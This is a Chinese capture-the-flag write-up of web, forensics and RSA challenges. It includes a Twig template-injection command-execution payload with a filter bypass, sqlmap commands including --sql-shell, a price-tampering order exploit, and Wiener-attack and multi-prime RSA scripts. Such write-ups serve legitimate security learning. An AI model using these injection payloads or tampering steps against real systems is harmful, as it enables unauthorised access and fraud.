主要做了WEB和密码
Contents
Week3
WEB
SecurityCenter
进入题目,查看一下注释
给了composer的下载包记录
看到题目使用的是twig框架,题目刚出的时候想测试来着,后来就休息了,早上做饭的时候挂了awvs
饭没吃完就报高危了,模板注入,结合框架twig,找了一下3.x.x注入payload
{{["id"]|map("system")}}
测试一下
成功命令执行,获取flag时候发现cat被过滤
使用php读取文件
php /flag
发现题目对flag内容进行检测了,直接base64加密输出
{{["php+/flag|base64"]|map("system")}}
base解码即可获取flag
Vidar shop demo
清晰记得去年的Hgame也是逻辑漏洞,购买商品,所以一拿到题目就奔着逻辑漏洞的思路去了,既然是分析逻辑漏洞,那就先理清楚题目逻辑,查看sources,获取jsmap文件
将文件格式化后保存
看到了题目的各个接口
分析一下index接口应该是用户注册和登陆接口,product接口是产品展示接口,Order接口应该是处理订单接口,Pay接口应该是付款接口,根据题目,注册用户
登陆
获得token,解密后发现不存在可疑数据,继续分析
访问用户列表
初始余额小于10000,查看商品列表
获取flag需要10000,那么我们就需要通过逻辑漏洞来绕过这个价格限制
通过访问product接口发现,所有商品是由id来进行控制的
尝试创造订单
购买id等于7的商品,可以发现服务器返回了订单id
携带自己的用户id访问订单列表,可以查看到已经生成的订单
尝试提交订单进行支付
订单的支付是由oid进行控制的,价格也是可控的
此时我们可以尝试构造购买flag的订单,获取oid,在pay接口下修改oid为flag订单,同时控制价格,这样即可购买flag,比如我们购买flag的oid为2892,在支付处进行修改,同时价格修改为40
成功返回,证明购买成功
查看列表发现购买成功,访问首页即可获取flag
LoginMe
题目很明确的告诉了我们是注入,同时在提示中也告诉了我们查询语句
将登陆的数据包保存成离线文件,直接sqlmap跑一下
POST /login HTTP/1.1
Host: 80445b7632.login.summ3r.top:60067
Content-Length: 37
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Content-Type: application/json
Origin: http://80445b7632.login.summ3r.top:60067
Referer: http://80445b7632.login.summ3r.top:60067/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.765291650.1643848572; __gads=ID=cd11765cfae1e332-227388af50d000be:T=1643848571:RT=1643848571:S=ALNI_MYyV9NDi1YxdNsiyWqUUYnvz0nksw; SESSION=MTY0NDAyNTQ4NXxEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBWUFCSFJsYzNRPXzTM4W4a43boon1ehAIHbFIwPmoZ9Z_2FjCBVdCIPD8ow==
Connection: close
{"username":"test*","password":"test"}
sqlmap -r sql.txt --data --union-char --tables
获取到数据表,之后依次获取数据列和具体数据
数据:
根据获取的密码进行登陆,发现登陆失败,起初猜测是需要我们进行密码的修改,后来发现无法修改,尝试换到kali里面进行操作
为了方便,直接添加“–sql–shell”参数,执行sql语句
sqlmap -r sql.txt --data --union-char --sql-shell
发现查询的密码和在子系统中查询的密码不一样,使用该密码进行登陆,成功获取到flag
MISc
卡中毒
下载题目发现是raw文件,猜测是内存取证,拖入kali分析
volatility -f ACTUE.raw imageinfo
选择指定版本类型进行解析,寻找一下存在系统中存在flag的文件
volatility -f ACTUE.raw --profile=Win7SP1x64 filescan |grep "flag"
发现疑似被加密的flag文件,取出文件进行分析
volatility -f ACTUE.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007f743720 --dump-dir=./
根据文件后缀可以知道该文件为WannaRen的勒索病毒,找寻一下有无公开解密工具
发现火绒提供了,下载进行解密
打开解密文件发现佛曰加密
在线解密一下
成功获取到flag
Crypto
这些题目作为小白,特别感谢一下饿滴Vigorous,脚本都从她博客一个一个找的
RSA Attack 3
根据给的文件和加密脚本,发现特点为e的值很大,一般可以选择维纳攻击进行破解
找了网上的脚本
import gmpy2
def transform(x,y): #使用辗转相处将分数 x/y 转为连分数的形式
res=[]
while y:
res.append(x//y)
x,y=y,x%y
return res
def continued_fraction(sub_res):
numerator,denominator=1,0
for i in sub_res[::-1]: #从sublist的后面往前循环
denominator,numerator=numerator,i*numerator+denominator
return denominator,numerator #得到渐进分数的分母和分子,并返回
#求解每个渐进分数
def sub_fraction(x,y):
res=transform(x,y)
res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res))))) #将连分数的结果逐一截取以求渐进分数
return res
def get_pq(a,b,c): #由p+q和pq的值通过维达定理来求解p和q
par=gmpy2.isqrt(b*b-4*a*c) #由上述可得,开根号一定是整数,因为有解
x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
return x1,x2
def wienerAttack(e,n):
for (d,k) in sub_fraction(e,n): #用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
if k==0: #可能会出现连分数的第一个为0的情况,排除
continue
if (e*d-1)%k!=0: #ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
continue
phi=(e*d-1)//k #这个结果就是 φ(n)
px,qy=get_pq(1,n-phi+1,n)
if px*qy==n:
p,q=abs(int(px)),abs(int(qy)) #可能会得到两个负数,负负得正未尝不会出现
d=gmpy2.invert(e,(p-1)*(q-1)) #求ed=1 (mod φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
return d
print("该方法不适用")
e = 77310199867448677782081572109343472783781135641712597643597122591443011229091533516758925238949755491395489408922437493670252550920826641442189683907973926843505436730014899918587477913032286153545247063493885982941194996251799882984145155733050069564485120660716110828110738784644223519725613280140006783618393995138076030616463398284819550627612102010214315235269945251741407899692274978642663650687157736417831290404871181902463904311095448368498432147292938825418930527188720696497596867575843476810225152659244529481480993843168383016583068747733118703000287423374094051895724494193455175131120243097065270804457787026492578916584536863548445813916819417857064037664101684455000184987531252344582899589746272173970083733130106407810619258077266603898529285634495710846838011858287024329514491058790557305041389614650730267774482954666726949886313386881066593946789460028399523245777171320319444673551268379126203862576627540177888290265714418064334752499940587750374552330008143708562065940245637685833371348603338834447212248648869514585047871442060412622164276894766238383894693759347590977926306581080390685360615407766600573527565016914830132066428454738135380178959590692145577418811677639050929791996313180297924833690095
n =507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759
d=wienerAttack(e,n)
print("d=",d)
解出d
然后根据vigorous的博客
修改值
import binascii
import gmpy2
n = 507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759
d = 13094612077654083919
c = 165251729917394529793163344300848992394021337429474789711805041655116845722480301677817165053253655027459227404782607373107477419083333844871948673626672704233977397989843349633720167495862807995411682262559392496273163155214888276398332204954185252030616473235814999366132031184631541209554169938146205402400412307638567132128690379079483633171535375278689326189057930259534983374296873110199636558962144635514392282351103900375366360933088605794654279480277782805401749872568584335215630740265944133347038070337891035560658434763924576508969938866566235926587685108811154229747423410476421860059769485356567301897413767088823807510568561254627099309752215808220067495561412081320541540679503218232020279947159175547517811501280846596226165148013762293861131544331444165070186672186027410082671602892508739473724143698396105392623164025712124329254933353509384748403154342322725203183050328143736631333990445537119855865348221215277608372952942702104088940952142851523651639574409075484106857403651453121036577767672430612728022444370874223001778580387635197325043524719396707713385963432915855227152371800527536048555551237729690663544828830627192867570345853910196397851763591543484023134551876591248557980182981967782409054277224
m = pow(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))
成功获取到flag
Multi Prime RSA
这个最开始不知道是啥意思,后来看原来比赛的石墨,发现有些类似题目叫欧拉函数,还有叫多素数的,就找了最像的脚本修改了一下
import gmpy2
import binascii
p = 61789932148719477384027458333380568978056286136137829092952317307711908353477
q = 91207969353355763685633284378833506319794714507027332929290701748727534193861
r = 105471299607375388622347272479207944509670502835651250945203397530010861809367
s = 83153238748903772448138307505579799277162652151244477391465130504267171881437
n = p*q*r*s
e = 65537
c = 844677395496466411520394190869787261209960246734415406217975986418865760680024542119231873259131861208878522030009923057991526761346423130242121884493257732067700857897379859545356609151834223804262174935191718271211809221730601602827122249238086030580971376104724987801049500689134122609834321586609223761140538079460830213824674361601046367637227094018381901291488659642720549583856812747877519600804325570421770575999289389175021646347371879234023647657507178519047236746071420327155188213839293382288787853777540226192644761028822256165706787395891134765908229036044468473519166141610604791485071702808854944672418124203289328124793348198048601338476086482318248264508789781967910205393740835345086784345145351367491197717933757414967811594913692588314161669333147733048171044386546892346475181197482702164468542430187885074163177843285948999943328049159021873821254267471067523609151007885131921896462161216356454116929796355815756642621369974260365378070336290542971599886325232821981080341858950609157813769416455337935096696635623426418166316737131174435618543058086342714723330814586496030805366321181723292731710369013923285787724941830672247377301048663929453294620044701627159066468762709113137517559435822623284148112827473010030736329596829357275518641576798298066541516764673029908084962144713
phi = (p-1)*(q-1)*(r-1)*(s-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))
Week4
WEB
Comment
根据题目提示,下载www.zip,分析api.php
查看程序执行顺序
程序根据action不同参数执行不同函数,首先查看get函数
比较简单的函数功能,将session的值作为id进行数据库的查询,将数据库查询的数据,添加到输出的数组中去,不过这里又调用了一个自定义函数parseXML,分析一下功能
函数前面功能主要是对传输的xml数据进行格式校验和数据比对
这里对传输的两个参数数据进行waf的比对,我们查看一下waf函数
常见的一些攻击函数,最后一个条件判断比较关键,涉及到flag的获取方式
只要sender参数为admin,同时传输的字符串中没有出现admin字符时,会讲响应的content参数,替换为flag输出,所以我们需要的就是想法将sender的值变为admin,查看一下传输相关的函数,save函数
同样函数对我们传输的数据进行了比对,主要是将我们传输的数据保存在数据库中以便别的函数调用,同时生成session中的unique_id
最后看一下info接口
将unique_id转变为session中的unique_id
根据我们对题目代码的分析,理清一下攻击思路,我们要获取flag就要传输sender参数为admin,同时还有一个参数content数值随便,然后通过parsexml将content替换为flag,因为数据是xml进行传输的,我们传输的格式也应该为xml类型的,同时要通过unique_id进行数据的传输和查询,这里可以通过info获取,所以我们首先在add参数处传输数据,之后在info参数处获取id,之后通过获取的id在get参数处进行数据的获取
查询js文件获取接口
首先在add接口处构造数据输入
在info处获取id
在get处传输id获取数据
发现传输的数据没有成功替换,证明我们没有通过该检测,这里可以尝试编码进行绕过
此时访问get接口即可成功获取到flag